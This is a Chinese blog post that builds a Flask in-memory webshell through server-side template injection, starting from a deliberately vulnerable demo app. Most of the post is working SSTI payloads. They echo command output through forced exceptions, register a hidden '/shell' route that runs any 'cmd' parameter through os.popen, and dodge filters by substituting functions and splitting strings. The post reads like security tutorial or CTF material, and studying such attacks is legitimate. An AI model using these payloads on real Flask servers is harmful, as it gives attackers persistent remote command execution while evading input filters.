Flask内存🐎

存在flask ssti漏洞环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def home():
person = 'guest'
if request.args.get('name'):
person = request.args.get('name')
template = '<h2>Hello %s!</h2>' % person
return render_template_string(template)


if __name__ == "__main__":
app.run(debug=False)

开启了debug模式下的不出网回显

在debug模式下,报错会带出详细信息,debug模式常见的考点有算pin码进console来命令执行

其实我们也可以通过手动报错raise Exception()的方式来让我们的命令回显

payload:

1
{{url_for.__globals__['__builtins__']['exec']("raise Exception(__import__('os').popen('whoami').read())")}}

低版本flask内存🐎环境:

  • flask 2.0.1
  • werkzeug 2.2.2

payload:

1
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

分析下这个payload:

1
2
3
4
5
6
7
8
9
10
11
12
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)

首先url_for.__globals__['__builtins__']['eval']这就是一个ssti获取eval函数的payload,url_for是Flask的一个内置函数,其命名空间包含很多东西,包括我们待会需要拿的当前应用的上下文。

add_url_rule:

Flask注册路由是使用@app.route()装饰器来实现

这里使用了add_url_rule来添加路由,跟进去在看看

  • rule:函数对应的URL规则,满足条件和 app.route() 的第一个参数一样,必须以/开头;
  • endpoint:端点,即在使用 url_for() 进行反转的时候,这里传入的第一个参数就是 endpoint 对应的值。这个值也可以不指定,那么默认就会使用函数的名字作为 endpoint 的值;
  • view_func:URL对应的函数(注意,这里只需写函数名字而不用加括号)
  • provide_automatic_options:控制是否应自动添加选项方法。这也可以通过设置视图来控制_func.provide_automatic_options =添加规则前为False;
  • options:要转发到基础规则对象的选项。Werkzeug 的一个变化是处理方法选项。方法是此规则应限制的方法列表(GET、POST等)。默认情况下,规则只侦听 GET(并隐式地侦听HEAD)

所以payload的add_url_rule的这部分就是添加一个路由,然后处理函数是用lambda关键字定义的匿名函数

app:

eval的第二个参数就是用字典的形式定义一些全局变量给第一个参数也就是执行命令的时候用,这里的app就是用url_for获取的应用的当前上下文app,属性为current_app

_request_ctx_stack

_request_ctx_stack是Flask的一个全局变量,是一个LocalStack实例

为什么要获取这个变量呢,这和Flask的请求上下文管理机制有关:

当一个请求进入Flask,首先会实例化一个Request Context,这个上下文封装了请求的信息在Request中,并将这个上下文推入到一个名为_request_ctx_stack 的栈结构中,也就是说获取当前的请求上下文等同于获取_request_ctx_stack的栈顶元素_request_ctx_stack.top

简单来说就是为了获取访问的cmd参数,_request_ctx_stack.top.request.args.get(‘cmd’, ‘whoami’)

绕过思路

其本质也就是个ssti的绕过

url_for被过滤:

可以用get_flashed_messagesrequest.application.__self__._get_data_for_json代替

1
{{get_flashed_messages.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':get_flashed_messages.__globals__['_request_ctx_stack'],'app':get_flashed_messages.__globals__['current_app']})}}
eval被过滤:

用exec代替或者是采用字符串拼接方式,如['__builtins__']['eval']变为['__bui'+'ltins__']['ev'+'al']

1
{{request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')})}}
  • __globals__可用__getattribute__('__globa'+'ls__')替换;
  • []中括号可用.__getitem__().pop()替换;

不知道为什么我的

request.application.__self__._get_data_for_json.__globals__说找不到__globals__属性

app的另外获取
1
url_for.__globals__['sys'].modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())

Flask内存🐎
https://yankun8.github.io/blog/2025/02/03/Python/flask内存马/
作者
yankun
发布于
2025年2月3日
许可协议